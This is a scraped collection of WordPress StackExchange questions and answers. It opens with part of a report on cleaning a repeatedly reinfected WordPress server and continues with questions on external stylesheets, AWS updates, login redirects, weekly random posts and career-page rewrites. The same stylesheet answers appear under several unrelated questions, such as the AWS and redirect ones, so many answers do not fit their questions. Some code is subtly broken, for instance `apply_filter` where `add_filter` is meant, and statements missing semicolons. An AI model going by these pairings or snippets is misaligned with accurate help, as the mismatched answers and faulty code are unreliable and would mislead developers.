get_theme_option('footer_ads_act1'); if (($header_ads_act == '') || ($header_ads_act == 'No')) { ?> Copyright &#169; <?php echo date("Y") ?> <a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a><?php } else { ?><?php echo get_theme_option('footer_ads1'); ?><?php } ?> </div> </div> </body> </html><? ``` Still analyzing; will add to this answer as I find out more. **Added** The 'ico' files with a dot in front contain PHP code that also evaluates to the above code. There are `@include` commands in the modified files that point to those ico file so that the code inside will be executed. **Added** 19 Oct 2019 630pm PST Notices that there are many files, mostly index.php, that have permissions of 'execute' (755). That is an indicator of the file containing some obfusticated code (decoded via the site linked above). Some of the decoded strings will point to the malware'd ICO file. But all of the encoded strings decode to the above code. Did find a couple of draft posts with author number '0' in one of the WP sites. But no indication of the malware's entry point yet. **Added** 20 Oct 2019 Still have not found the source of the code insertions. I can clean the entire site (I think) and files are re-attacked the next day. I've done all of the standard things, to no avail. I'm building a program that will scan all files and look for files that may have been hacked; perhaps I am missing some. The problem is made more complex by the server (dedicated VPS server at a hosting place) having multiple sites, WP and non-WP. All sites are being affected, with files randomly placed throughout all folders. I'll figure this one out. Luckily, the sites are low-traffic. But it is not feasible to do a 'nuke'. I'll keep reporting here... **Added 24 Oct 2019** I've written a program that helps me identify possible hacked files based on their content. Not a true 'anti-virus' thing, but a good (IMHO) program to identify areas of concerns. If you (or anyone else) interested, please contact me on my <https://www.securitydawg.com> site. **Added 11 Nov 2019** Site is still getting modified. The wp-settings/wp-config files, adding of the hidden ico files, random-named php files, and modified index.php (including index.php files where they shouldn't be). Additional things done (in addition to above): * Change permissions of the wp-config.php and wp-settings.php to 400 or * Change the password of the WP database(s) to something very strong. * Look at the wp-posts table for wp-content fields that are not normal (like just a bunch of random numbers). Delete those entries. They will most likely be towards the end of the table, but look at every row. We shall see how that works.
350,851
<p>I would like to replace WordPress style.css file or any other files like this with style.css file in an external host How can I do this? Of course, I saw this tutorial before</p> <p><a href="https://css-tricks.com/methods-overriding-styles-wordpress/" rel="nofollow noreferrer">https://css-tricks.com/methods-overriding-styles-wordpress/</a></p> <p>but I don't know how can I replace this external file with my basic theme files like style.css or like this</p> <p>For example this code can be </p> <pre><code>&lt;link rel='stylesheet' href='http://external-host.com/css/style.css' type='text/css'/&gt; </code></pre> <p>instead of </p> <pre><code>&lt;link rel='stylesheet' href='http://mywebsite.com/wp-includes/css/style.css' type='text/css'/&gt; </code></pre>
[ { "answer_id": 350873, "author": "Babak Y.", "author_id": 172699, "author_profile": "https://wordpress.stackexchange.com/users/172699", "pm_score": 1, "selected": false, "text": "<p>From what I understood you want to override some particular CSS properties from style.css of a WordPress theme.</p>\n\n<p>There might be two different situations here which needs different solutions:</p>\n\n<ol>\n<li>If you are developing your own theme then you can simply edit your functions.php inside your theme files and add any JS or CSS file that you want like this:</li>\n</ol>\n\n<pre>\nwp_enqueue_style( 'handle name', 'your external source address');\nwp_enqueue_script( 'handle name', 'your external source address');\n</pre>\n\n<p>I don't know if you are familiar with WordPress developing conventions but you have to wrap this function inside a custom one and call that after a WordPress hook like this:</p>\n\n<pre>\nfunction custom_function() {\n wp_enqueue_style( 'handle name', 'your external source address' )\n wp_enqueue_script( 'handle name', 'your external source address' )\n}\nadd_action( 'wp_enqueue_scripts', 'custom_function' );\n</pre>\n\n<ol start=\"2\">\n<li>If you are using a theme from the official WordPress repository, then it is not a good practice to make changes to files of that theme, because most likely you will lose all your custom changes when that theme gets updated. Instead, you have to make a child theme for that theme and do as explained previously for functions.php of the child theme.</li>\n</ol>\n\n<p>Defining a child theme is a different topic on it's own but it's not a difficult one! Study this page and you will be able to make your own child theme easily:</p>\n\n<p><a href=\"https://developer.wordpress.org/themes/advanced-topics/child-themes/\" rel=\"nofollow noreferrer\">Child Themes | Theme Developer Handbook</a></p>\n\n<p>other useful related resources:</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_style/\" rel=\"nofollow noreferrer\">wp_enqueue_style()</a></p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow noreferrer\">wp_enqueue_script()</a></p>\n" }, { "answer_id": 350877, "author": "Rup", "author_id": 3276, "author_profile": "https://wordpress.stackexchange.com/users/3276", "pm_score": 0, "selected": false, "text": "<p>There's a specific hook you can use for the theme's stylesheet, <a href=\"https://developer.wordpress.org/reference/hooks/stylesheet_uri/\" rel=\"nofollow noreferrer\">stylesheet_uri</a>:</p>\n\n<pre><code>function wpse350851_override_stylesheet_uri( $stylesheet, $stylesheet_dir ) {\n return 'http://external-host.com/css/style.css';\n}\napply_filter( 'stylesheet_uri', 'wpse350851_override_stylesheet_uri', 10, 2 );\n</code></pre>\n\n<p>Note you probably need to switch between HTTP and HTTPS URLs e.g. using <a href=\"https://codex.wordpress.org/Function_Reference/is_ssl\" rel=\"nofollow noreferrer\">is_ssl()</a>), or just use HTTPS by default.</p>\n" } ]
2019/10/19
[ "https://wordpress.stackexchange.com/questions/350851", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/177061/" ]
I would like to replace WordPress style.css file or any other files like this with style.css file in an external host How can I do this? Of course, I saw this tutorial before <https://css-tricks.com/methods-overriding-styles-wordpress/> but I don't know how can I replace this external file with my basic theme files like style.css or like this For example this code can be ``` <link rel='stylesheet' href='http://external-host.com/css/style.css' type='text/css'/> ``` instead of ``` <link rel='stylesheet' href='http://mywebsite.com/wp-includes/css/style.css' type='text/css'/> ```
From what I understood you want to override some particular CSS properties from style.css of a WordPress theme. There might be two different situations here which needs different solutions: 1. If you are developing your own theme then you can simply edit your functions.php inside your theme files and add any JS or CSS file that you want like this: ``` wp_enqueue_style( 'handle name', 'your external source address'); wp_enqueue_script( 'handle name', 'your external source address'); ``` I don't know if you are familiar with WordPress developing conventions but you have to wrap this function inside a custom one and call that after a WordPress hook like this: ``` function custom_function() { wp_enqueue_style( 'handle name', 'your external source address' ) wp_enqueue_script( 'handle name', 'your external source address' ) } add_action( 'wp_enqueue_scripts', 'custom_function' ); ``` 2. If you are using a theme from the official WordPress repository, then it is not a good practice to make changes to files of that theme, because most likely you will lose all your custom changes when that theme gets updated. Instead, you have to make a child theme for that theme and do as explained previously for functions.php of the child theme. Defining a child theme is a different topic on it's own but it's not a difficult one! Study this page and you will be able to make your own child theme easily: [Child Themes | Theme Developer Handbook](https://developer.wordpress.org/themes/advanced-topics/child-themes/) other useful related resources: [wp\_enqueue\_style()](https://developer.wordpress.org/reference/functions/wp_enqueue_style/) [wp\_enqueue\_script()](https://developer.wordpress.org/reference/functions/wp_enqueue_script/)
350,865
<p>I have a client who has a WordPress site on AWS. I'm wondering if I update WordPress core and plugins do I need to create a new AMI based on the current instance, create a new launch configuration using the new instance for the auto-scaling group? Do I then delete the old instance? I've tried reading the AWS documentation but it's not clear to me. Any help appreciated!</p>
[ { "answer_id": 350873, "author": "Babak Y.", "author_id": 172699, "author_profile": "https://wordpress.stackexchange.com/users/172699", "pm_score": 1, "selected": false, "text": "<p>From what I understood you want to override some particular CSS properties from style.css of a WordPress theme.</p>\n\n<p>There might be two different situations here which needs different solutions:</p>\n\n<ol>\n<li>If you are developing your own theme then you can simply edit your functions.php inside your theme files and add any JS or CSS file that you want like this:</li>\n</ol>\n\n<pre>\nwp_enqueue_style( 'handle name', 'your external source address');\nwp_enqueue_script( 'handle name', 'your external source address');\n</pre>\n\n<p>I don't know if you are familiar with WordPress developing conventions but you have to wrap this function inside a custom one and call that after a WordPress hook like this:</p>\n\n<pre>\nfunction custom_function() {\n wp_enqueue_style( 'handle name', 'your external source address' )\n wp_enqueue_script( 'handle name', 'your external source address' )\n}\nadd_action( 'wp_enqueue_scripts', 'custom_function' );\n</pre>\n\n<ol start=\"2\">\n<li>If you are using a theme from the official WordPress repository, then it is not a good practice to make changes to files of that theme, because most likely you will lose all your custom changes when that theme gets updated. Instead, you have to make a child theme for that theme and do as explained previously for functions.php of the child theme.</li>\n</ol>\n\n<p>Defining a child theme is a different topic on it's own but it's not a difficult one! Study this page and you will be able to make your own child theme easily:</p>\n\n<p><a href=\"https://developer.wordpress.org/themes/advanced-topics/child-themes/\" rel=\"nofollow noreferrer\">Child Themes | Theme Developer Handbook</a></p>\n\n<p>other useful related resources:</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_style/\" rel=\"nofollow noreferrer\">wp_enqueue_style()</a></p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow noreferrer\">wp_enqueue_script()</a></p>\n" }, { "answer_id": 350877, "author": "Rup", "author_id": 3276, "author_profile": "https://wordpress.stackexchange.com/users/3276", "pm_score": 0, "selected": false, "text": "<p>There's a specific hook you can use for the theme's stylesheet, <a href=\"https://developer.wordpress.org/reference/hooks/stylesheet_uri/\" rel=\"nofollow noreferrer\">stylesheet_uri</a>:</p>\n\n<pre><code>function wpse350851_override_stylesheet_uri( $stylesheet, $stylesheet_dir ) {\n return 'http://external-host.com/css/style.css';\n}\napply_filter( 'stylesheet_uri', 'wpse350851_override_stylesheet_uri', 10, 2 );\n</code></pre>\n\n<p>Note you probably need to switch between HTTP and HTTPS URLs e.g. using <a href=\"https://codex.wordpress.org/Function_Reference/is_ssl\" rel=\"nofollow noreferrer\">is_ssl()</a>), or just use HTTPS by default.</p>\n" } ]
2019/10/20
[ "https://wordpress.stackexchange.com/questions/350865", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/153685/" ]
I have a client who has a WordPress site on AWS. I'm wondering if I update WordPress core and plugins do I need to create a new AMI based on the current instance, create a new launch configuration using the new instance for the auto-scaling group? Do I then delete the old instance? I've tried reading the AWS documentation but it's not clear to me. Any help appreciated!
From what I understood you want to override some particular CSS properties from style.css of a WordPress theme. There might be two different situations here which needs different solutions: 1. If you are developing your own theme then you can simply edit your functions.php inside your theme files and add any JS or CSS file that you want like this: ``` wp_enqueue_style( 'handle name', 'your external source address'); wp_enqueue_script( 'handle name', 'your external source address'); ``` I don't know if you are familiar with WordPress developing conventions but you have to wrap this function inside a custom one and call that after a WordPress hook like this: ``` function custom_function() { wp_enqueue_style( 'handle name', 'your external source address' ) wp_enqueue_script( 'handle name', 'your external source address' ) } add_action( 'wp_enqueue_scripts', 'custom_function' ); ``` 2. If you are using a theme from the official WordPress repository, then it is not a good practice to make changes to files of that theme, because most likely you will lose all your custom changes when that theme gets updated. Instead, you have to make a child theme for that theme and do as explained previously for functions.php of the child theme. Defining a child theme is a different topic on it's own but it's not a difficult one! Study this page and you will be able to make your own child theme easily: [Child Themes | Theme Developer Handbook](https://developer.wordpress.org/themes/advanced-topics/child-themes/) other useful related resources: [wp\_enqueue\_style()](https://developer.wordpress.org/reference/functions/wp_enqueue_style/) [wp\_enqueue\_script()](https://developer.wordpress.org/reference/functions/wp_enqueue_script/)
350,868
<p>There are many answers to how to redirect after login. But my situation is different. In my scenario, we have a landing page where people can login. Once logged in, the users are not logged out for a year. So, what we want to do is, when the user visits the site, check if they are logged in. If they are logged in, automatically redirect to a specific page. I used a plugin to embed this code on the landing page, but it does nothing :</p> <pre><code>&lt;?php if (is_user_logged_in()) { wp_redirect( 'https://our.domain/specific-page/' ); exit; } </code></pre> <p><strong>Edit:</strong> I added echo statements before entering the if block, after entering the block, after calling wp_redirect, and, after exit. When I look at the page source, all the echos are printing, except the one after exit.</p>
[ { "answer_id": 350873, "author": "Babak Y.", "author_id": 172699, "author_profile": "https://wordpress.stackexchange.com/users/172699", "pm_score": 1, "selected": false, "text": "<p>From what I understood you want to override some particular CSS properties from style.css of a WordPress theme.</p>\n\n<p>There might be two different situations here which needs different solutions:</p>\n\n<ol>\n<li>If you are developing your own theme then you can simply edit your functions.php inside your theme files and add any JS or CSS file that you want like this:</li>\n</ol>\n\n<pre>\nwp_enqueue_style( 'handle name', 'your external source address');\nwp_enqueue_script( 'handle name', 'your external source address');\n</pre>\n\n<p>I don't know if you are familiar with WordPress developing conventions but you have to wrap this function inside a custom one and call that after a WordPress hook like this:</p>\n\n<pre>\nfunction custom_function() {\n wp_enqueue_style( 'handle name', 'your external source address' )\n wp_enqueue_script( 'handle name', 'your external source address' )\n}\nadd_action( 'wp_enqueue_scripts', 'custom_function' );\n</pre>\n\n<ol start=\"2\">\n<li>If you are using a theme from the official WordPress repository, then it is not a good practice to make changes to files of that theme, because most likely you will lose all your custom changes when that theme gets updated. Instead, you have to make a child theme for that theme and do as explained previously for functions.php of the child theme.</li>\n</ol>\n\n<p>Defining a child theme is a different topic on it's own but it's not a difficult one! Study this page and you will be able to make your own child theme easily:</p>\n\n<p><a href=\"https://developer.wordpress.org/themes/advanced-topics/child-themes/\" rel=\"nofollow noreferrer\">Child Themes | Theme Developer Handbook</a></p>\n\n<p>other useful related resources:</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_style/\" rel=\"nofollow noreferrer\">wp_enqueue_style()</a></p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow noreferrer\">wp_enqueue_script()</a></p>\n" }, { "answer_id": 350877, "author": "Rup", "author_id": 3276, "author_profile": "https://wordpress.stackexchange.com/users/3276", "pm_score": 0, "selected": false, "text": "<p>There's a specific hook you can use for the theme's stylesheet, <a href=\"https://developer.wordpress.org/reference/hooks/stylesheet_uri/\" rel=\"nofollow noreferrer\">stylesheet_uri</a>:</p>\n\n<pre><code>function wpse350851_override_stylesheet_uri( $stylesheet, $stylesheet_dir ) {\n return 'http://external-host.com/css/style.css';\n}\napply_filter( 'stylesheet_uri', 'wpse350851_override_stylesheet_uri', 10, 2 );\n</code></pre>\n\n<p>Note you probably need to switch between HTTP and HTTPS URLs e.g. using <a href=\"https://codex.wordpress.org/Function_Reference/is_ssl\" rel=\"nofollow noreferrer\">is_ssl()</a>), or just use HTTPS by default.</p>\n" } ]
2019/10/20
[ "https://wordpress.stackexchange.com/questions/350868", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/124483/" ]
There are many answers to how to redirect after login. But my situation is different. In my scenario, we have a landing page where people can login. Once logged in, the users are not logged out for a year. So, what we want to do is, when the user visits the site, check if they are logged in. If they are logged in, automatically redirect to a specific page. I used a plugin to embed this code on the landing page, but it does nothing : ``` <?php if (is_user_logged_in()) { wp_redirect( 'https://our.domain/specific-page/' ); exit; } ``` **Edit:** I added echo statements before entering the if block, after entering the block, after calling wp\_redirect, and, after exit. When I look at the page source, all the echos are printing, except the one after exit.
From what I understood you want to override some particular CSS properties from style.css of a WordPress theme. There might be two different situations here which needs different solutions: 1. If you are developing your own theme then you can simply edit your functions.php inside your theme files and add any JS or CSS file that you want like this: ``` wp_enqueue_style( 'handle name', 'your external source address'); wp_enqueue_script( 'handle name', 'your external source address'); ``` I don't know if you are familiar with WordPress developing conventions but you have to wrap this function inside a custom one and call that after a WordPress hook like this: ``` function custom_function() { wp_enqueue_style( 'handle name', 'your external source address' ) wp_enqueue_script( 'handle name', 'your external source address' ) } add_action( 'wp_enqueue_scripts', 'custom_function' ); ``` 2. If you are using a theme from the official WordPress repository, then it is not a good practice to make changes to files of that theme, because most likely you will lose all your custom changes when that theme gets updated. Instead, you have to make a child theme for that theme and do as explained previously for functions.php of the child theme. Defining a child theme is a different topic on it's own but it's not a difficult one! Study this page and you will be able to make your own child theme easily: [Child Themes | Theme Developer Handbook](https://developer.wordpress.org/themes/advanced-topics/child-themes/) other useful related resources: [wp\_enqueue\_style()](https://developer.wordpress.org/reference/functions/wp_enqueue_style/) [wp\_enqueue\_script()](https://developer.wordpress.org/reference/functions/wp_enqueue_script/)
350,889
<p>What I'm trying to achieve: my homepage displays 3 random posts from each of 5 different categories. That part is easy.</p> <p>What's a little unique and I can't quite figure out how to accomplish, I would like those posts to change automatically every week.</p> <p>That way if the user comes back a couple times during the week, they see the same posts, but on a weekly basis the query should update to make it essentially look like a bunch of new content has been added (or at least previously written content is now featured).</p> <p>How would I go about doing that? Thanks.</p>
[ { "answer_id": 350873, "author": "Babak Y.", "author_id": 172699, "author_profile": "https://wordpress.stackexchange.com/users/172699", "pm_score": 1, "selected": false, "text": "<p>From what I understood you want to override some particular CSS properties from style.css of a WordPress theme.</p>\n\n<p>There might be two different situations here which needs different solutions:</p>\n\n<ol>\n<li>If you are developing your own theme then you can simply edit your functions.php inside your theme files and add any JS or CSS file that you want like this:</li>\n</ol>\n\n<pre>\nwp_enqueue_style( 'handle name', 'your external source address');\nwp_enqueue_script( 'handle name', 'your external source address');\n</pre>\n\n<p>I don't know if you are familiar with WordPress developing conventions but you have to wrap this function inside a custom one and call that after a WordPress hook like this:</p>\n\n<pre>\nfunction custom_function() {\n wp_enqueue_style( 'handle name', 'your external source address' )\n wp_enqueue_script( 'handle name', 'your external source address' )\n}\nadd_action( 'wp_enqueue_scripts', 'custom_function' );\n</pre>\n\n<ol start=\"2\">\n<li>If you are using a theme from the official WordPress repository, then it is not a good practice to make changes to files of that theme, because most likely you will lose all your custom changes when that theme gets updated. Instead, you have to make a child theme for that theme and do as explained previously for functions.php of the child theme.</li>\n</ol>\n\n<p>Defining a child theme is a different topic on it's own but it's not a difficult one! Study this page and you will be able to make your own child theme easily:</p>\n\n<p><a href=\"https://developer.wordpress.org/themes/advanced-topics/child-themes/\" rel=\"nofollow noreferrer\">Child Themes | Theme Developer Handbook</a></p>\n\n<p>other useful related resources:</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_style/\" rel=\"nofollow noreferrer\">wp_enqueue_style()</a></p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow noreferrer\">wp_enqueue_script()</a></p>\n" }, { "answer_id": 350877, "author": "Rup", "author_id": 3276, "author_profile": "https://wordpress.stackexchange.com/users/3276", "pm_score": 0, "selected": false, "text": "<p>There's a specific hook you can use for the theme's stylesheet, <a href=\"https://developer.wordpress.org/reference/hooks/stylesheet_uri/\" rel=\"nofollow noreferrer\">stylesheet_uri</a>:</p>\n\n<pre><code>function wpse350851_override_stylesheet_uri( $stylesheet, $stylesheet_dir ) {\n return 'http://external-host.com/css/style.css';\n}\napply_filter( 'stylesheet_uri', 'wpse350851_override_stylesheet_uri', 10, 2 );\n</code></pre>\n\n<p>Note you probably need to switch between HTTP and HTTPS URLs e.g. using <a href=\"https://codex.wordpress.org/Function_Reference/is_ssl\" rel=\"nofollow noreferrer\">is_ssl()</a>), or just use HTTPS by default.</p>\n" } ]
2019/10/20
[ "https://wordpress.stackexchange.com/questions/350889", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/5710/" ]
What I'm trying to achieve: my homepage displays 3 random posts from each of 5 different categories. That part is easy. What's a little unique and I can't quite figure out how to accomplish, I would like those posts to change automatically every week. That way if the user comes back a couple times during the week, they see the same posts, but on a weekly basis the query should update to make it essentially look like a bunch of new content has been added (or at least previously written content is now featured). How would I go about doing that? Thanks.
From what I understood you want to override some particular CSS properties from style.css of a WordPress theme. There might be two different situations here which needs different solutions: 1. If you are developing your own theme then you can simply edit your functions.php inside your theme files and add any JS or CSS file that you want like this: ``` wp_enqueue_style( 'handle name', 'your external source address'); wp_enqueue_script( 'handle name', 'your external source address'); ``` I don't know if you are familiar with WordPress developing conventions but you have to wrap this function inside a custom one and call that after a WordPress hook like this: ``` function custom_function() { wp_enqueue_style( 'handle name', 'your external source address' ) wp_enqueue_script( 'handle name', 'your external source address' ) } add_action( 'wp_enqueue_scripts', 'custom_function' ); ``` 2. If you are using a theme from the official WordPress repository, then it is not a good practice to make changes to files of that theme, because most likely you will lose all your custom changes when that theme gets updated. Instead, you have to make a child theme for that theme and do as explained previously for functions.php of the child theme. Defining a child theme is a different topic on it's own but it's not a difficult one! Study this page and you will be able to make your own child theme easily: [Child Themes | Theme Developer Handbook](https://developer.wordpress.org/themes/advanced-topics/child-themes/) other useful related resources: [wp\_enqueue\_style()](https://developer.wordpress.org/reference/functions/wp_enqueue_style/) [wp\_enqueue\_script()](https://developer.wordpress.org/reference/functions/wp_enqueue_script/)
350,960
<h1>How do I make WordPress use a template for any requests where the url is <code>/careers/[0-9]+</code>?</h1> <p>We <em>used to</em> have custom posts for job openings handled by <code>single-jobs.php</code> - then switched to an Applicant Tracking System with a nice REST API, meaning no more job posts in the data base on our end.</p> <p>I considered making a single job page with a query string for the parameter for the 3rd party API (<code>bla.com/careers/job?id=123</code>). A <code>page-job.php</code> template would then read the parameter and use to request data from the ATS API and then echo a page accordingly.</p> <p>But for SEO reasons, I want the routing to have "proper" slugs such as <code>bla.com/careers/123</code>. </p> <p>Would I need to basically do what I suggested above except use JavaScript to change/fake what the url looks like, or is there a backend way of doing that?</p> <p>How do I make that happen?</p> <hr /> <p><strong>Update:</strong></p> <p>Conversation with Howdy_McGee in chat revealed that what I'm looking for (content is not managed via the WordPress dashboard but fits right in) is called a "virtual page" according to a <a href="https://metabox.io/how-to-create-a-virtual-page-in-wordpress/" rel="nofollow noreferrer">medium article</a>.</p>
[ { "answer_id": 350978, "author": "Howdy_McGee", "author_id": 7355, "author_profile": "https://wordpress.stackexchange.com/users/7355", "pm_score": 2, "selected": false, "text": "<p>The easiest way is to simply create a <a href=\"https://codex.wordpress.org/Rewrite_API/add_rewrite_endpoint\" rel=\"nofollow noreferrer\">custom rewrite endpoint</a>. This is a two-fer. It will create our actual permalink structure and our query var in one go.</p>\n\n<p>Do note that after creating the below you will need to resave permalinks: Settings -> Permalinks -> save button.</p>\n\n<pre><code>/**\n * Create Careers Endpoint\n * \n * @return void\n */\nfunction prefix_careers_endpoint() {\n\n add_rewrite_endpoint(\n 'careers', // Permalink Endpoint\n EP_PAGES, // Use `EP_ROOT` for more complex permalink strucures such as `careers/job`\n 'jobid' // Custom Query Var ( if not passed, defaults to Endpoint - first parameter `careers` )\n );\n\n}\nadd_action( 'init', 'prefix_careers_endpoint' );\n</code></pre>\n\n<p>Next we can check the <code>global $wp_query</code> object for the query var's existence. If it exists we'll switch out the current template with one of our own choosing. In this case it will look for in the theme <code>endpoint-careers.php</code>.</p>\n\n<pre><code>/**\n * Include template if query var exists\n * \n * @param String $template\n * \n * @return String $template\n */\nfunction prefix_careers_template( $template ) {\n\n global $wp_query;\n\n // Ensure our `jobid` query var exists and is not empty\n if( '' !== $wp_query-&gt;get( 'jobid' ) ) {\n\n // Ensure our template file exists\n if( '' !== ( $new_template = locate_template( 'endpoint-careers.php' ) ) ) {\n $template = $new_template; // Assign templae file path from conditional\n }\n\n }\n\n return $template;\n\n}\nadd_filter( 'template_include', 'prefix_careers_template' );\n</code></pre>\n\n<p>Finally, inside our custom template file <code>endpoint-careers.php</code> after <code>get_header()</code> we can create and call a custom function <code>prefix_get_data()</code> which will grab the jobid from the <code>global $wp_query</code> and do a <a href=\"https://codex.wordpress.org/Function_API/wp_remote_get\" rel=\"nofollow noreferrer\"><code>wp_remote_get()</code></a> against your API passing in the Job ID. This will hopefully return useful data we can then use in the template.</p>\n\n<pre><code>/**\n * Return data from external API\n * \n * @param Integer $jobid\n * \n * @return Array\n */\nfunction prefix_get_data( $jobid = 0 ) {\n\n global $wp_query;\n\n $jobid = ( ! empty( $jobid ) ) ? $wp_query-&gt;get( 'jobid', $jobid ) : $jobid;\n\n $response = wp_remote_get( 'http://foobar.url', array(\n 'body' =&gt; array(\n 'jobid' =&gt; $jobid,\n )\n ) );\n\n return json_decode( $response );\n\n}\n</code></pre>\n\n<p>Calling it as <code>$data = prefix_get_data()</code>. You may need to modify this function depending on what your API expects to get and what the API returns. You could even create a custom class with with intuitive methods to handle and call your data. The possibilities are endless!</p>\n" }, { "answer_id": 351034, "author": "Julix", "author_id": 117836, "author_profile": "https://wordpress.stackexchange.com/users/117836", "pm_score": 1, "selected": false, "text": "<p>The easiest backend way of receiving a url like <code>/careers/123</code> internally processing it as <code>/careers/job?position_id=123</code> and return those contents, without actually re-directing / changing the url is a \"url rewrite\". I thought initially those were just for file names but they're actually quite powerful.</p>\n\n<p>This did it for me:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code> add_action( 'init', 'job_rewrite' );\n\n function job_rewrite() {\n global $wp;\n global $wp_rewrite;\n $wp-&gt;add_query_var('position_id');\n $rule = '^careers/(\\d+)/?$';\n $job_page_id = [job-page id here];\n $rewrite = 'index.php?page_id=' . $job_page_id . '&amp;position_id=$matches[1]'; //job/?id=\n add_rewrite_rule( $rule, $rewrite, 'top' );\n $wp_rewrite-&gt;flush_rules();\n }\n</code></pre>\n\n<p>Then all I had to do was handle the API request in the <code>page-job.php</code> template file. </p>\n\n<pre class=\"lang-php prettyprint-override\"><code>global $wp;\n$position_id = $wp-&gt;query_vars['position_id'];\n// handle the API request with the ID\n</code></pre>\n" } ]
2019/10/21
[ "https://wordpress.stackexchange.com/questions/350960", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/117836/" ]
How do I make WordPress use a template for any requests where the url is `/careers/[0-9]+`? =========================================================================================== We *used to* have custom posts for job openings handled by `single-jobs.php` - then switched to an Applicant Tracking System with a nice REST API, meaning no more job posts in the data base on our end. I considered making a single job page with a query string for the parameter for the 3rd party API (`bla.com/careers/job?id=123`). A `page-job.php` template would then read the parameter and use to request data from the ATS API and then echo a page accordingly. But for SEO reasons, I want the routing to have "proper" slugs such as `bla.com/careers/123`. Would I need to basically do what I suggested above except use JavaScript to change/fake what the url looks like, or is there a backend way of doing that? How do I make that happen? --- **Update:** Conversation with Howdy\_McGee in chat revealed that what I'm looking for (content is not managed via the WordPress dashboard but fits right in) is called a "virtual page" according to a [medium article](https://metabox.io/how-to-create-a-virtual-page-in-wordpress/).
The easiest way is to simply create a [custom rewrite endpoint](https://codex.wordpress.org/Rewrite_API/add_rewrite_endpoint). This is a two-fer. It will create our actual permalink structure and our query var in one go. Do note that after creating the below you will need to resave permalinks: Settings -> Permalinks -> save button. ``` /** * Create Careers Endpoint * * @return void */ function prefix_careers_endpoint() { add_rewrite_endpoint( 'careers', // Permalink Endpoint EP_PAGES, // Use `EP_ROOT` for more complex permalink strucures such as `careers/job` 'jobid' // Custom Query Var ( if not passed, defaults to Endpoint - first parameter `careers` ) ); } add_action( 'init', 'prefix_careers_endpoint' ); ``` Next we can check the `global $wp_query` object for the query var's existence. If it exists we'll switch out the current template with one of our own choosing. In this case it will look for in the theme `endpoint-careers.php`. ``` /** * Include template if query var exists * * @param String $template * * @return String $template */ function prefix_careers_template( $template ) { global $wp_query; // Ensure our `jobid` query var exists and is not empty if( '' !== $wp_query->get( 'jobid' ) ) { // Ensure our template file exists if( '' !== ( $new_template = locate_template( 'endpoint-careers.php' ) ) ) { $template = $new_template; // Assign templae file path from conditional } } return $template; } add_filter( 'template_include', 'prefix_careers_template' ); ``` Finally, inside our custom template file `endpoint-careers.php` after `get_header()` we can create and call a custom function `prefix_get_data()` which will grab the jobid from the `global $wp_query` and do a [`wp_remote_get()`](https://codex.wordpress.org/Function_API/wp_remote_get) against your API passing in the Job ID. This will hopefully return useful data we can then use in the template. ``` /** * Return data from external API * * @param Integer $jobid * * @return Array */ function prefix_get_data( $jobid = 0 ) { global $wp_query; $jobid = ( ! empty( $jobid ) ) ? $wp_query->get( 'jobid', $jobid ) : $jobid; $response = wp_remote_get( 'http://foobar.url', array( 'body' => array( 'jobid' => $jobid, ) ) ); return json_decode( $response ); } ``` Calling it as `$data = prefix_get_data()`. You may need to modify this function depending on what your API expects to get and what the API returns. You could even create a custom class with with intuitive methods to handle and call your data. The possibilities are endless!
351,024
<p>Most of the time I like having the blocks the full width of my site (<a href="https://princetonfireandsafety.com/" rel="nofollow noreferrer">https://princetonfireandsafety.com/</a>), but sometimes I just want to have a single header or paragraph block that isn't that big. Like if the text is only one or two lines, it looks really weird spanning the whole page (ie. The section on my page titled "Did you know that store bought fire extinguishers still need to be certified for your business?" I'd only want a bit wider than the middle column right above it).</p> <p>I have no clue how to go about achieving this. Am I overlooking an option with the block editor? Is it some CSS/HTML that needs to be done? Or is there a plugin that would make this easier?</p> <p>I'm using the OceanWP theme if that matters.</p>
[ { "answer_id": 350978, "author": "Howdy_McGee", "author_id": 7355, "author_profile": "https://wordpress.stackexchange.com/users/7355", "pm_score": 2, "selected": false, "text": "<p>The easiest way is to simply create a <a href=\"https://codex.wordpress.org/Rewrite_API/add_rewrite_endpoint\" rel=\"nofollow noreferrer\">custom rewrite endpoint</a>. This is a two-fer. It will create our actual permalink structure and our query var in one go.</p>\n\n<p>Do note that after creating the below you will need to resave permalinks: Settings -> Permalinks -> save button.</p>\n\n<pre><code>/**\n * Create Careers Endpoint\n * \n * @return void\n */\nfunction prefix_careers_endpoint() {\n\n add_rewrite_endpoint(\n 'careers', // Permalink Endpoint\n EP_PAGES, // Use `EP_ROOT` for more complex permalink strucures such as `careers/job`\n 'jobid' // Custom Query Var ( if not passed, defaults to Endpoint - first parameter `careers` )\n );\n\n}\nadd_action( 'init', 'prefix_careers_endpoint' );\n</code></pre>\n\n<p>Next we can check the <code>global $wp_query</code> object for the query var's existence. If it exists we'll switch out the current template with one of our own choosing. In this case it will look for in the theme <code>endpoint-careers.php</code>.</p>\n\n<pre><code>/**\n * Include template if query var exists\n * \n * @param String $template\n * \n * @return String $template\n */\nfunction prefix_careers_template( $template ) {\n\n global $wp_query;\n\n // Ensure our `jobid` query var exists and is not empty\n if( '' !== $wp_query-&gt;get( 'jobid' ) ) {\n\n // Ensure our template file exists\n if( '' !== ( $new_template = locate_template( 'endpoint-careers.php' ) ) ) {\n $template = $new_template; // Assign templae file path from conditional\n }\n\n }\n\n return $template;\n\n}\nadd_filter( 'template_include', 'prefix_careers_template' );\n</code></pre>\n\n<p>Finally, inside our custom template file <code>endpoint-careers.php</code> after <code>get_header()</code> we can create and call a custom function 